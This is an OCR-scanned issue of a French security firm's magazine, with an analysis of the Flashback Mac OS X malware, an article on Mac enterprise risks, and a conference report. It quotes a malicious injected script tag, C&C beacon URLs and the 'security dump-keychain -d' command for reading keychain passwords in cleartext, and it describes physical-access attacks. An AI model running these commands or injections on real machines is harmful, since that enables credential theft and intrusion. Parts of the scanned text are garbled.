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L’année derniére, DG consultants a fété les 10 ans
des Assises de la Sécurité. Cet événement relative-
ment incontournable regroupe la majorité des ac-
teurs de la sécurité informatique. XMCO y participera
pour la troisieme fois cette année, mais la saveur de
cette édition sera un peu particuliere pour nous. En
effet, c’est a notre tour de féter nos 10 ans !

10 ans, c'est a la fois beaucoup, et, je I'espere, trés
peu par rapport a ce qui nous attend !

Dans ce nouveau numéro, vous constaterez que
nous avons opéré quelques modifications. En effet,
compte-tenu de l'investissement que nous consa-
crons pour produire ce magazine, et du développe-
ment du CERT-XMCO, nous avons décidé de réserver
I'intégralité de I'Actu-
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SEPTEMBRE 2012

Rassurez-vous, il en reste quand méme une bonne
partie dans |'édition gratuite ! On ne se refait pas...

)

Je profite de cette tribune pour remercier nos clients,
pour lesquels nous essayons de donner le meilleur
d’entre nous, et dont la fidélité constitue l'une de
mes plus grandes satisfaction. Je remercie égale-
ment mes collaborateurs pour la confiance qu'ils ont
portée en moi, et pour leur investissement person-
nel dans notre aventure.

Je vous souhaite une bonne lecture.

Marc Behar
Directeur

séu aux abonnés du | XMCO aux Assises de la sécurité |

CERT-XMCO. Une ver-

sion sera toujours téléchargeable librement sur notre
site Web. Toutefois, certains articles seront retirés, ou
incomplets.

Soit nous faisions appel a la publicité pour maintenir
un tel niveau d’effort et de qualité, soit nous met-
tions en avant les services que nous délivrons déja
pour certains de nos clients.

Nous avons préféré conserver notre indépendance,
car elle n'a pas de prix. J'espére que les 6 ans pen-
dant lesquels tous les numéros de I’Actu-Sécu ont été
mis a votre disposition, auront pu vous convaincre de
I'intéréts de nos articles... et que vous aurez envie de
les découvrir dans leur intégralité.

XMCO PARTENAIRE DE :
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Vous étes concerne :
par la sécurité informatique
de votre entreprise ?

XMCO est un cabinet de conseil dont le métier est
I’audit en sécurité informatique.

Fondé en 2002 par des experts en sécurité et dirigé par ses
fondateurs, les consultants de chez XMCO n’interviennent que
sous forme de projets forfaitaires avec engagement de résultats.
Les tests d’intrusion, les audits de sécurité, la veille en
vulnérabilité constituent les axes majeurs de développement
de notre cabinet.

XMCcO

we deliver security expertise

Parallelement, nous intervenons aupres de Directions Générales
dans le cadre de missions d'accompagnement de RSSI,
d'élaboration de schéma directeur ou encore de séminaires de
sensibilisation aupres de plusieurs grands comptes francais.

Pour contacter le cabinet XMCO et découvrir nos prestations :
http://www.xmco.fr

Test d’intrusion

Audit de Sécurité

Certification PCI DSS

Cert-XMC0° : Veille en vulnérabilités et
Cyber-surveillance

Cert-XMCO® : Réponse a intrusion
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Flashback

Analyse du premier « vrai »
malware pour MAC 0S X

Un MAC dans votre SI ?
Risques et attaques a I'encontre
du systeme d’exploitation
d’Apple

Conférences
Hack In Paris, Hackito et SSTIC
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Les ordinateurs Macintosh ont toujours eu la réputation
d'étre sars avec peu ou pas de virus existants pour leur
systéme d’exploitation car tres peu de pirates semblaient
s’y intéresser, contrairement aux PC Windows.

La donne semble avoir changé depuis 2006, lorsque les
premiers virus et exploits ont fait leur apparition. A par-
tir de ce moment, la firme de Cupertino a commencé a
prendre conscience de I'exploitation potentielle de failles
de sécurité affectantson systéme d’exploitation. Apres les
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premiéres failles et des erreurs d’'implémentation impor-
tantes, le premier virus digne de ce nom est apparu. Reve-
nons sur I'historique de cette menace et des mécanismes
d’infection.
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> Historique
Naissance de « Flashback »

Le malware « Flashback » a été officiellement découvert
en février 2012. Cependant, les premieres versions exis-
taient déja depuis septembre 2011. Ainsi, de septembre
2011 a février 2012, un nombre important d’ordinateurs
fonctionnant sous Mac 0S X a été infecté par « Flash-
back », environ 700 000 a travers le monde (Australie,
Royaume-Uni, Etats-Unis, Canada, etc.). Ces machines ont
été utilisées pour constituer un botnet géant.

Pour prende le controle de ces machines, les pirates ont
exploité deux failles distinctes au sein de Java (CVE-2008-
5353 et CVE-2011-3544), ainsi qu'une attaque d'ingénierie
sociale qui visait a tromper I'utilisateur afin de lui faire
installer, a son insu, le malware.

Lors de la visite d’un site spécialement concu, il était de-
mandé aux utilisateurs de télécharger et d’installer une
mise a jour d’Adobe Flash Player qui, en réalité, contenait
par ailleurs un cheval de Troie. Les pirates, via I'utilisation
d’un certificat numérique proche de celui d’Apple (méme
contenu mais non signé par une autorité de confiance),
cherchaient a rassurer I'utilisateur quant a la légitimité
de I'application en « certifiant » l'identité de I'éditeur
(en l'occurence d’Apple) du programme malveillant. Les
failles Java exploitées provenaient d'une ancienne version
de Java qui n’est plus distribuée par Apple depuis la sortie
de Mac 0S X 10.7 (Lion). Les versions de Mac 0S X les
plus touchées furent donc Snow Leopard (10.6) et Leopard
(10.5), qui intégraient Java par défaut.

Enfin, une fois installé, le malware cherchait a dérober
des informations personnelles telles que les identifiants
de connexion a certains sites Internet tels que Google, Ya-
hoo!, CNN, PayPal ou encore des sites de banque en ligne.

A partir de mars 2012, une évolution du virus a fait sur-
face. Elle exploite, cette fois-ci, une autre vulnérabilité
Java référencée CVE-2012-0507. Son exploitation venait
principalement du fait qu’Apple n‘implémente jamais les
correctifs publiés par Oracle mais préfére publier les siens
pour corriger les vulnérabilités Java, en créant tres souvent
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lAIIan Reyes

un écart de 1 a 3 mois entre la publications du correctif
par Oracle et la publication du correctif par Apple. Conce-
rant la vulnérabilité référencée CVE-2012-0507, le correctif
Oracle a été publié en février 2012 contrairement a celui
d’Apple qui ne I'a été qu’entre le 3 avril 2012. Cet écart a
permis a certains pirates d’exploiter massivement la faille
de sécurité, en particulier les auteurs de Flashback qui en
ont profité pour agrandir leur botnet. D’autant plus que de
nombreux utilisateurs, malgré la publication urgente du
correctif, n"avaient pas effectué de mise a jour.

Par ailleurs, dans la méme optique d’expansion maximale
du botnet « Flashback », les cybercriminels se sont ser-
vis d’un programme partenaire d’origine russe. Ce dernier
s’appuie sur un script qui permet d’effectuer des redirec-
tions depuis plusieurs sites a travers le monde vers des
sites malicieux.

Deés fin février/début mars 2012, plusieurs sites basés sur
le CMS WordPress, dont la plupart sont situés aux Etats-
Unis, ont été compromis. Les causes possibles avancées
furent I'utilisation d’une version vulnérable de WordPress
par les bloggeurs ou l'installation par ces derniers du plu-
gin ToolsPack.
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Quelques médias ont relayé I'information sur I'attaque Wordpress.

Ci-dessous un exemple de code injecté au sein des pages
des blogs compromis :

<script src=«http://domainname.rr.nu/nl.php?p=d»></
script>
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Les visiteurs de ces blogs étaient alors redirigés de ma-
niere transparente vers des sites ayant pour domaine
« rr.nu » et utilisant un kit d’exploitation pour infecter les
machines des visiteurs. Ces infections se déroulaient en
plusieurs phases qui seront présentées par la suite dans
cet article.

Pourquoi avoir concu « Flashback » ?

La motivation principale des cybercriminels derriere Flash-
back est bien sar financiere, notamment grace au module
d’interception et de modification du trafic Web lié au pro-
gramme « Google Ads ». Celui-ci force les internautes
aleur insue a générer des clics sur des liens publicitaires et
rémuneére ainsi les annonceurs sur chaque clic effectué par
les ordinateurs compromis.

Une premiére estimation faite par des chercheurs avait
annoncé que les cybercriminels pouvaient espérer gagner
jusqu’a 10 000 dollars par jour a l'aide de leur botnet.
Cependant, les choses ne se sont pas vraiment déroulées
comme prévu (cf. bulletin (XA-2012-0865) du fait, entre
autres, d’une faible installation du module complémen-
taire sur la totalité des machines infectées

> INFO

Apple publie un outil de suppression du malware
Flashback

Suite au grand nombre de systemes Mac OS X compro-
mis par le malware Flashback, Apple a publié un outil de
suppression du virus.

L’outil disponible depuis le 13 avril pour les versions de

Mac 0S X supérieures a Lion (10.7) a été récemment mis
a jour afin de supporter
les versions comprises entre 10.5 et 10.5.8 (Léopard).

Si le malware était détecté par cette mise a jour, une
boite de dialogue en informerait I'utilisateur.

[Xmcol

> Chronologie de l'infection

Entrons maintenant dans les détails techniques du proces-
sus d'infection.

Exploitation des vulnérabilités

La premiére phase de l'infection consiste en I'exécu-
tion d'un code JavaScript utilisé pour charger une ap-
plet Java. Cette derniére a alors comme objectif d’ins-
taller quatre applications Java sur le systtme de la
victime. Trois d’entre elles exploitent les vulnérabilités
Java référencées CVE-2008-2323, CVE-2011-3544 et CVE-
2012-0507 alors que la quatrieme tente de tromper les
utilisateurs, via de l'ingénierie sociale, afin qu’ils exé-
cutent cette application qu’ils pensent étre légitime.

En cas d’échec de la méthode décrite plus haut,
une autre méthode d’infection consiste en I'exé-
cution d'une autre applet Java spécialement
concue qui nécessite les droits d’administration.
Dans les deux cas, l'exécution de I'applet Java
implique avant tout la validation de [utilisa-
teur, celle-ci n’étant pas signée par Apple.
La premiere phase de l'infection aboutit donc a l'installa-
tion du conteneur, appelé aussi « Dropper », qui aura en
charge le téléchargement et I'installation d’autres compo-
sants du malware.

1.
Visite d'un site web compromis
(blog Wordpress par exemple)

F Y

2.
Chargement de 'Applet Java
(si validation de l'utilisateur)

.\‘

‘ Téléchargement + Installation de 4 applications Java ’

‘4

4.
Exploitation de failles de sécurité Java
(CVEZ008-2323, CVE2011-3544, CVE2012-0507 + Social Engineering)

“h

.
5.
Installation du conteneur (ou "Dropper”)

Etapes d'infection
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Dépot de l'installeur

Le conteneur en question est un fichier au format binaire
Mach-0. Il contient un module 32 ou 64 bit (appelé ins-
talleur principal par la suite) selon la version du systeme
d’exploitation de la machine de la victime.

file f_install
f_install 1 s ] Z architectur

f_install r architectur k Mach- i utable >
f_install (for archi r b Mach- B 26

Architectures supportées par |'installeur de « Flashback »

Pour notre analyse technique nous avons utilisé des exem-
plaires récents du virus, récupérés sur le site :
http://contagiodump.blogspot.fr/

Comme le montre la capture ci-dessous, les échantillons
ont été soumis a VirusTotal qui a permis de mettre en
évidence que seulement 29 éditeurs d’antivirus sur 42 ont
détecté le contenu malicieux.

0! total

SHAZ256: 1d24affal37a355a8963d1abad 38bE6753262a00ce07dBOG26I399DE00MM fl
File name: Flashback.J
Detection ratio: 29/ 42

Analysis date: 2012-08-09 13:38:54 UTC ( 0 minute ago )

Antivirus Result

AhnLab-V3 a

AntiVir MacOS/Flashback.J.1
Antiy-AVL Trojan/OSX.Flashfake
Avast MacOS:Flashback-L [Drp]

Analyse VirusTotal de I'installeur

Parmi ces antivirus, certains sont uniquement compatibles
avec Windows, ce qui peut expliquer un taux de détec-
tion aussi faible. Les éditeurs d’antivirus, ayant développé
un antivirus pour Mac 0S X tels que Avast !, BitDefender
Antirus for Mac, Sophos Anti-virus, Avira, et enfin ClamXav,
ont par contre été a3 méme de détecter le malware sans
aucun probleme.

Connexion de l'installeur principal au serveur C&C

Le role principal de cet installeur est d’'établir une com-
munication avec le serveur de Commandes et de Controle
(C&C) de premier niveau, de vérifier si la machine remplit
les conditions nécessaires a son infection, et si c’est le cas,
de télécharger des modules supplémentaires et de les ins-
taller sur le systeme de la victime. Une fois son exécution
terminée, quelque soit le résultat, l'installeur va s’effacer
du systeme de la victime.
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0O0003A3E mov | edx, ds:off 5750]

00003A44 mov [eEp], edx

O0003A47 call __NHSGetExecutablePath
00004612 mov [edx, ds:off 5750
00004618 mov [eEp], edx ;: char =

00004618 call

_unlink

Suppression de I'exécutable

En s’exécutant, I'installeur principal vérifie au préalable
si I'une des applications de sécurité suivantes, dont la
majeure partie correspond a des logiciels de sécurité, est
présente sur la machine infectée : LittleSnitch (un firewall
pour Mac 0S), XCode, VirusBarrierX6, iAntiVirus, Avast!,
I'antivirus ClamXav, HTTPScoop et Packet Peeper. Si c'est
le cas, l'installeur principal se supprime automatiquement
de la machine et I'infection est stoppée.

Dans le cas contraire, si aucune des applications n’est pré-
sente, l'installeur principal se connecte alors a I'un des
serveurs C&C et transmet a ce dernier des informations
sur la machine infectée telles que I'ldentifiant Universel
Unique (UUID, propre a l'utilisateur courant du systéeme), la
version du systeme d’exploitation, les droits avec lesquels
il s’exécute, l'architecture du systeme (32 ou 64 bits), etc.

e B3

w [esp+d], eax

w eax, ds:_kIOMasterPortDefault_ptr
w eax, [eax]

w [eEp], eax

111 _IORegistryEntryFromPath

w edi, eax

W eax, ds:_kCFAllocatorDefault_pkr
w eax, [eax]

w [ebp+var 1420], eax

w dword ptr [esp+OCh], O

w [eEp+R], eax

w dword ptr [esp+i], offset cfstr Ioplatformuuid ; “ICPlatformUUID
w [esp], edi

all _IORegistryEntryCreateCFProperty
w ebx, eax

EEL 2ax, eax

] short loe 3AF1

Récupération de I'UUID

Pour communiquer avec le serveur C&C, l'installeur envoie
des requétes HTTP GET.

call _CFHTTPHeEsageCreateRequast

mOV ebx, eax

test esi, esi

jz short loc Z648
L | | N
A J

| e B4

v [esp+E], esi

v dword ptr [esp+i],

w [AER] . AAX

11 _CFHTTPHessAagesSetHeaderFieldvalue
‘9

a oes B

oc_Z648:

v [eEp+i], ebx

oY dwnrd pEr [sen] . 0

all _CFReadstreamCreateForETTPREqUest

oV [ebp+var 30], eax

v [eEp], E&X

all CFReadStreamipen

Utilisation du protocole HTTP

[Xmcol



La requéte envoyée est de la forme suivante : La suite de cet article est réservée aux abonnés du
http://<adresse ip du serveur>/counter/<informations CERT-XMCO
encodées en base64>

http://xx.xx.xx.xx/counter/MDAWMDAWMDAtMDAWM
COxMDAWLTgwMDAtMDAwWQz ISRENBNz IwfGkzODZ8MTAUO
C4wfDVISZ1MNEZyc25s53N4dFdLekt3b3c9PXxpMzg2 £
GkzODZBMQ==

URL de la requéte envoyée au serveur C&C (encodage des informations
envoyées en base 64)

http://xx.xx.xx.xx/counter/00000000-0000-1000-8000-
000C29DCA720|1i386|10.8.0|5YKiL4FrsnlKsxtWKzKwow==|1i
38613861

URL de la requéte envoyée au serveur C&C (informations envoyées

décodées)
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> Un Mac dans votre Sl, quels risques ?

Abondamment utilisés dans les secteurs de la communication, de la publicité et du marke-
ting, les ordinateurs Apple commencent peu a peu a s'imposer en entreprise. Souvent réser-
vés aux VIP ou aux créatifs qui nécessitent d’avoir des outils de mise en page professionnels,
les Mac s’intégrent peu a peu aux Systemes d’Information ce qui engendre nécessairement
une nouvelle vision de la sécurité du SI. La présence d'un Mac induit-elle des risques pour

votre Sl ? Réponse dans cet article...

Andy Langager

Introduction

Le systeme Mac 0S X est en pleine expansion, c’est une
certitude, et les chiffres parlent d’eux méme : a la sortie
de la nouvelle version de Mac 0S X en septembre 2011,
Lion 10.7, la part de marché de Mac 0S X a grimpé d'un
point en un mois (de 9,6 % a 10,6 %). Certes, Lion apporte
des nouvelles fonctionnalités, une meilleure stabilité et
des nouveaux mécanismes de sécurité, mais la sortie de
cette nouvelle version est-elle la seule cause de ce succes
? Probablement que non. Apple occupe également une
importante part du marché des tablettes et des Smart-
phones. La satisfaction de cette population d’utilisateurs
donne une raison supplémentaire pour sauter le pas et
passer sous Mac 0S X.

Si nous combinons ce phénoméne de mode avec la nou-
velle tendance du moment, le BYOD (Bring Your Own De-
vice), il est fort probable que les systémes Mac OS X - et
c'est déja le cas dans certaines entreprises - se retrouvent
rapidement connectés aux Systémes d’Information de

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

par Arnaud MALARD

I'entreprise. Quel est le risque encouru ? Quels sont les
risques de compromission et de fuite de données ? Cet
article fournira des éléments de réponse a ces questions
en présentant différentes techniques de prise de controle
d’un systeme Mac 0S X, d’une part a travers des vulnéra-
bilités logicielles et d’autre part depuis un accés physique.
Nous évoquerons par la suite quelques exemples de fuites
d’informations sensibles pouvant étre provoquées par un
acteur malveillant depuis un acces au systeme.
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Exploiter les vulnérabilités logi-
cielles

Depuis Internet, I'approche la plus courante pour com-
promettre un systeme est de tenter d’exploiter simulta-
nément « la faille humaine » et une vulnérabilité tech-
nique dans le but d’installer aux dépens de la victime un
programme malveillant. Un exemple trés récent et qui a
fait la une des médias est le malware Flashback. Celui-ci
s’appuyait sur une vulnérabilité de Java non corrigée et
se présentait a la victime sous la forme d’une inoffen-
sive mise a jour du logiciel Adobe Flash (cf ActuSécu #31).
FlashBack a fait des dégats : plus d’un million de machines
Mac 0S X compromises. C'est le premier « vrai malware »
développé exclusivement pour Mac 0S X et permettant la
prise de controle du systeme et le vol d’informations.

Depuis un acces distant, la maniére la plus simple semble
donc de passer par des logiciels tiers installés sur le sys-
teme. En effet, la cause principale d’une compromission
est due a une vulnérabilité présente dans un logiciel tiers,
c'est-a-dire un logiciel autre que le systeme d’exploita-
tion lui-méme. Les logiciels tels que Flash, Acrobat, Safari,
QuickTime ou encore iTunes sont souvent des cibles privi-
légiées par les pirates.

Le scénario classique exploité par ces derniers est de
convaincre une victime, a travers un site Web, de télé-
charger le dernier MP3 de Lady Gaga pas encore sorti ou
encore la nouvelle Sex-Tape de Paris Hilton. Une fois le
fichier téléchargé et ouvert, la faille iTunes, QuickTime (ou
autre) est exploitée et permet d’installer un programme
malveillant (Cheval de Troie) au cceur du systéme. Ainsi, le
pirate pourra utiliser la machine de la victime pour réaliser
des opérations illicites. L'étude de 2010, présentée ci-des-
sous, révele d'ailleurs que Apple a été le « numéro 1 » en
ce qui concerne le nombre de vulnérabilités découvertes
sur les produits tiers.

it, 9_Flash Pl 8 QuickTime, 6
Webkit, 9_Flash Player, 8 QuickTime, Opera, 6

RealPlayer, 14 ~

Internet Explorer, 32 __

Shockwave
Player, 35

Sun Java
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Par contre, en ce qui concerne les moyens d’exploitation
des vulnérabilités distantes, le constat n’est pas le méme
: Microsoft est bien loin devant. En effet, le nombre «
d’exploits distants » (programme d’exploitation de vulné-
rabilités depuis un réseau distant ou local) concus contre
les plateformes Mac OS X est encore trés limité par rapport
a Microsoft Windows (environs 15 pour Mac 0S X depuis
2010 contre 145 pour Windows depuis 2011). Cependant,
Mac 0S X étant de plus en plus pris pour cible par les
chercheurs en sécurité et les pirates, ces chiffres devraient
grossir de maniere significative dans les années a venir.

« Depuis un acces distant, la maniére
la plus simple semble donc
de passer par des logiciels tiers... tels que
Flash, Acrobat, Safari, QuickTime
ou encore iTunes »

Evidemment, depuis le réseau, un attaquant peut égale-
ment tenter d’exploiter des vulnérabilités « classiques »
des services qui peuvent étre ouverts sur Mac 0S X : SSH,
le Bureau a Distance, FTP iTunes, etc. En effet, Mac 0S
X integre nativement ces différents services qui peuvent
étre activés en un clic par I'utilisateur néophyte. Ainsi, les
utilisateurs non-informaticiens peuvent aisément héber-
ger et publier a travers d’'un Mac leurs photos de famille,
mais a quel risque ?

Une recherche rapide avec les bons mots clefs sur votre
moteur de recherche préféré vous permettra d’identifier
des données stockées sur des serveurs Web Mac 0S X tels
que des archives mails, des calendriers, des documents
Office et également le fameux « trousseau d’acces » qui
contient un nombre important de mots de passe de I'utili-
sateur (comptes Google, Skype, clefs WiFi, certificats, client
de messagerie Mail/Outlook, iTunes, OpenVPN, etc.).

Depuis un acces au systeme Mac 0S X, c’est-a-dire un
acces physique, « bureau a distance » ou encore SSH, un
pirate essayera d'élever ses privileges : passer d’un simple
utilisateur avec des droits limités a un compte d’adminis-
tration.

A I'heure actuelle, ce type d’attaque tres répandue dans
le monde Microsoft ou Linux, se révele difficile a réaliser
sur Mac 0S X a la vue du peu de failles découvertes et du
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peu de programmes d’exploitation publiés a ce sujet. Le
constat est en effet le méme que pour les exploits dis-
tants, 44 exploits pour Mac 0S X depuis 2003 (contre 220
pour Windows depuis 2011).

Par contre, l'utilisation de programmes malveillants et
les attaques par élévation de privileges ne sont pas for-
cément nécessaires pour provoquer des fuites d’informa-
tions douloureuses pour un utilisateur et son entreprise : il
existe aussi les attaques « physiques ».

Exploiter les accés physiques

Comme vous allez le constater, si vous avez la possibilité
d’accéder physiquement a une machine hébergeant Mac
0S X, il est souvent tres aisé d’en prendre le contréle total.

Le premier élément a connaitre sur Mac 0S X est qu’avec
une installation par défaut de type « next-next-next », la
session s’ouvre automatiquement avec le compte du pre-
mier utilisateur sans demander de mot de passe.

Le plus souvent, cela permet donc de prendre simplement
le contréle d’un Mac qui traine ; d’autant plus que cet uti-
lisateur possede les privileges d’administration. Toutefois,
le mot de passe de l'utilisateur est souvent nécessaire
pour accéder a des parametres sensibles propres a I'uti-
lisateur ou au systeme. Mais, comme Mac 0S X ne force
pas une politique de mot de passe, I'utilisateur a donc la
liberté d’en choisir un trivial et donc identifiable rapide-
ment par un acteur malveillant.
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Une autre technique simple, pour accéder au systéme
de fichiers d’'un Mac sans en connaitre le mot de passe,
consiste a utiliser un simple cable FireWire branché a la
machine est nécessaire.

Le mode « Target », activable au démarrage d'un systéeme
Mac 0S X, permet a tout individu de transformer celui-ci
en disque externe FireWire. Ainsi, les fichiers présents sur
le disque dur sont accessibles sans restriction depuis la
machine de l'individu, permettant alors a un acteur mal-
veillant d’en extraire des données sensibles (ex : mots de
passe des utilisateurs du systeme) et métiers (ex : sché-
ma réseau, fichiers Excel de mot de passe). Evidemment,
I'acces par ce biais n'est pas possible si le disque dur a été
intégralement chiffré par une solution telle que Filevault 2
livré avec la derniere mouture de Mac OS X Lion.

Comme pour tout type d’ordinateur, si I'acces a I'EFI
(équivalent du BIOS) n’est pas sécurisé, il est également
possible d’accéder aux fichiers du systeme Mac 0S X en
démarrant la machine par un systeme tiers (Backtrack)
installé sur une clef USB ou un CDROM.

Un moyen encore plus simple est d’exploiter le mode
« Single », mode activable au démarrage du Mac avec
une combinaison de touche, et permettant d’obtenir une
invite de commande avec les privileges d’administration.
A partir de cet acces privilégié, toutes les commandes
du systeme d’administration peuvent étre exécutées et
toutes les données (non chiffrées) peuvent étre extraites.

-

Adrien Guinault
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Enfin, le moyen de compromission le plus performant,
mais aussi le plus complexe a mettre en ceuvre, est
d’exploiter les acces directs a la mémoire RAM (les acces
« DMA »). Les interfaces FireWire et/ou Thunderbolt pré-
sentes sur tous les MacBook permettent ce type d’acces.
Ces interfaces sont reliées directement a la mémoire RAM
sans passer par le microcontréleur et peuvent donc diffi-
cilement bénéficier de la protection du systeme d’exploi-
tation.

Une attaque publiée en 2005 par le chercheur Adam Boi-
leau consiste a émuler un iPod sur sa propre machine afin
que la machine victime, connectée a celui-ci a travers un
cable FireWire, lui autorise les acces directs a sa mémoire.
Méme si le systeme Mac 0S X est verrouillé, cet acces
direct 3 la mémoire RAM est autorisé, et ce, méme si le
disque dur est intégralement chiffré.

« Le moyen de compromission le plus perfor-
mant, mais aussi le plus complexe a mettre
en ceuvre, est d’exploiter les accés directs a la
mémoire RAM (les accés DMA) »

Un attaquant peut modifier le contenu de la mémoire et
contourner I'authentification d’ouverture de session pro-
posée par Mac 0S X. Il lui est également possible d'élever
les privileges de n’importe quel utilisateur du systéeme
afin d’obtenir les droits d’administration.

Par ailleurs, ces interfaces FireWire et/ou Thunderbolt
permettent d'accéder a de tres nombreuses fuite d’infor-
mations : |'écriture en mémoire RAM étant possible, la
lecture I'est également. Ainsi, les informations sensibles
suivantes peuvent étre volées :

Mots de passe en clair de I'utilisateur s’étant connecté
ou étant connecté (session active et/ou session verrouil-
lée);

Mots de passe du trousseau d'acces (si celui-ci n’est
pas identique au mot de passe systéeme);

Mots de passe saisis a travers le navigateur Web;

Clef utilisée pour chiffrer intégralement le disque dur
(Filevault2);

Mots de passe d’'acces a des ressources d’'un domaine
(Microsoft Exchange, Serveur de fichiers SMB, etc);

Etc.

En fin de compte, cet acces DMA permet de voler des
informations par un simple accés physique au systeme,
alors qu’il fallait jusqu’ici avoir réussi a installer un logiciel
malveillant avec les droits d’administration pour arriver au
méme résultat.

[Xmcol

Chercher les informations sensibles
depuis un accés au systéme

Si un acteur malveillant parvient & obtenir un acces par
I'une des méthodes présentées précédemment, quelles
sont les possibilités offertes et quelles sont les informa-
tions réellement exploitables ? Quelques exemples ...

Comme évoqué plus haut, I'un des éléments les plus sen-
sibles en termes de fuite d’informations sur un systeme
Mac 0S X est le trousseau d’acces. Ce trousseau, qui est
concretement un fichier chiffré, stocke une importante
quantité de mots de passe et de certificats utilisés par
I'utilisateur pour s’authentifier sur des applications locales
et des sites web.

(- NaNe}

Keychain Access

d] Click to lock the login keychain.

Keychains

#A FaceTime: malardamaud@free.fr

# GoogleContactSyncservice

A KisMACWebService

7 Picasa Google Account

A Remplissage automatique de formulaires Safari
7'\ skype

A\ Tunnelblick-Auth-svnoloaviopenvon

9§ /N AndroidAP
/ rPort network password
test // - A AndroidAP
@& System b A w AirPort Network
D System Roots fied: 9 avr. 2012 19:30:57
Name Kind

7 Exchange application password
# Exchange application password
# Exchange application password

application password
application password
application password
application password
application password
application password
aoolication password

Dans un scénario de piratage ou un attaquant est parvenu
a obtenir un accés au systéeme sans connaitre le mot de
passe du compte utilisateur usurpé (comme par exemple
avec une session laissée ouverte pendant une pause),
il ne lui est pas possible, a premiere vue, d’accéder aux
mots de passe contenus dans le trousseau d’acces. Mal-
heureusement, la commande systéme « security dump-
keychain -d » lancée au travers du terminal (donc avec
les droits de I'utilisateur courant) permet de visualiser les
mots de passe du trousseau en clair sans que le mot de
passe du compte utilisateur ne soit demandé.

]
"prot"<blob>=<NULL>
"scrp"<sint32>=<NULL>
"svce"<blob>="GoogleContactSyn
rtymalcnint32s>e<NULL> 3

Mot de passe

1 g
keychain: "/Users/sud@man/Library/Keychains/login.keychain"
" L

Ainsi, malgré le chiffrement du trousseau d’accés, un atta-
quant a la possibilité de réaliser de multiples usurpations
d’identité sur des services proposés tels que Evernote,
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Google, Skype, iTunes ou encore Microsoft Outlook et
ainsi d’accéder a de nouvelles fuites d’informations a tra-
vers les nouveaux accés réseau obtenus (WiFl, accés via
certificats privés, VPN, etc.).

Ce comportement étrange s’explique par le fait que le
trousseau d’acces de I'utilisateur est en réalité ouvert et
déchiffré automatiquement dés I'ouverture de la ses-
sion afin que le systeme y accede sans interaction de la
part de I'utilisateur. Cependant, ce scénario est valable
uniquement si le mot de passe protégeant le trousseau
d’acces est identique au mot de passe du systeme choisi
par |'utilisateur (configuration par défaut). En réalité, peu
de propriétaires de Mac sont conscients qu’il est possible
de modifier le mot de passe de leur trousseau d’acces,
tellement peu conscient que les moteurs de recherche
indexent aujourd’hui des centaines des trousseaux d'ac-
cés en libre accés ...

Safari, le navigateur Internet installé par défaut sur Mac
0S X, integre une fonctionnalité trés intéressante pour un
acteur malveillant : Webpage Previews. Celle-ci photo-
graphie chaque page chargée ou rechargée par le navi-
gateur de l'utilisateur et les stocke instantanément sur le
disque dur.

Ainsi, il est possible, selon les cas, qu’'un attaquant ac-
céde a des données sensibles telles que le contenu d’un
email, une recherche saisie dans Google, des données
bancaires, le contenu de sites illégaux, des scans NMAP
(cas avéreé), etc.
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Comme sur les autres systemes, les cookies stockés sur
le systeme peuvent étre volés par un attaquant afin de
bénéficier d'un accés encore valide a un site web. Il est
intéressant de savoir que les cookies des sites comme
www.gmail.com, www.facebook.com, www.twitter.com -
et peut-étre de I'un des extranet de I'entreprise de la
victime - ont une durée de vie d’environ une semaine,
favorisant ainsi I'usurpation d’identité. Par ailleurs, I'ac-
cés aux cookies d'un utilisateur systéme nécessite uni-
quement les droits d'accés de l'utilisateur méme. Ils et
Ils peuvent donc étre volé par la majorité des attaques
présentées dans cet article.
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Skype peut parfois étre utilisé en entreprise avec notam-
ment la fonctionnalité de Chat. Skype conserve I'histo-
rique des conversations, mais demande un mot de passe
pour y accéder. Or, I'accés a cet historique peut étre fait
directement au travers d'une base de données présente
sur le disque dur du Mac, et cela sans authentification.
Le contenu des conversations est en effet stocké en clair
dans une base de données SQLite locale accessible avec
les droits de I'utilisateur méme.

Conclusion

La part de marché importante occupée par Windows per-
met aujourd’hui 3 Mac 0S X de n’étre que la seconde cible
privilégiée des pirates et des hackers. Ainsi, les moyens
d’exploitation d’un systeme Mac 0S X a travers des failles
logicielles distantes ou locales restent limités, voire confi-
dentiels. Cependant, le cas du malware Flashback est
probablement une premiere indication d'un changement
d’orientation des pirates et des chercheurs de vulnérabi-
lités.

Mac 0S X dispose par contre et contrairement a Windows
de nombreux moyens d’accés natifs lorsqu’un acces phy-
sique est possible. Fort heureusement, des moyens de sé-
curisation, non appliqués par défaut, existent bel et bien

(1]

Les exemples de fuites d’informations proposés ont per-
mis d’entrapercevoir les possibilités offertes par un simple
utilisateur connecté a un systéme Mac 0S X. Encore une
fois, les bonnes pratiques de sécurisation peuvent limiter
le risque de pertes de données.

Un Mac est-il donc un risque pour votre Systeme d’Infor-
mation ? Oui, s'il est configuré par défaut et beaucoup
moins si sa configuration a été renforcée selon les bonnes
pratiques de sécurité. Depuis la derniere version de Mac
0S X (Lion), nous pouvons considérer qu’un systéme Mac
0S X peut étre aussi bien sécurisé qu’un systeme Win-
dows, voire plus, et cela sans achat de logiciels de sécurité
supplémentaires.

Les personnes souhaitant approfondir le sujet technique-
ment peuvent parcourir une présentation technique réali-
sée aux GSDays en 2012 [2].

Références

[1] Blog de Kaspersky
http://www.securelist.com/en/blog/208193448/10_
Simple_Tips_for_Boosting_The_Security Of Your_Mac

[2] Blog d’Arnaud Malard

http://sudOman.blogspot.fr/2012/04/hackmacosx-gs-
days-2012.html
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Hack In Paris

> Hack In Paris

La deuxieme édition de la conférence Hack In Paris a eu
lieu du 18 au 22 juin 2012, au Centre des conférences de
Disneyland Paris. Plus de 350 personnes ont assisté a cet
évenement, pour entre autres 16 conférences données par
des experts en sécurité internationaux.

L'équipe XMCO a assisté aux journées dédiées aux confé-
rences des 21 et 22 juin. Nous allons vous présenter le
résumé de certaines de ces conférences.

Aprées un discours d’ouverture (prononcé par Olivier Franchi)
de Sysdream, la premiere conférence intitulée « Where are
we and where are we going? » fut donnée par Mikko Hypo-
nen, le directeur des recherches au sein de la société F-
Secure.
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Where are we and where are we going?
Mikko Hyponen

o Slides
http://hackinparis.com/slides/hip2k12/Mikko%20H-Key-
note.pdf

=k Video
http://youtu.be/0Q1QroD3Gds

Le monde de la sécurité informatique et des cyber attaques
a été passé en revue. Les trois types d’attaquant ont été
exposés, a savoir les criminels (motivés par I'argent), les
hacktivistes (motivés par un idéal, une cause) et enfin les
gouvernements (motivés par le besoin de posséder un pou-
voir sur le peuple).

Différents exemples pour chaque cas ont été présentés. Tout
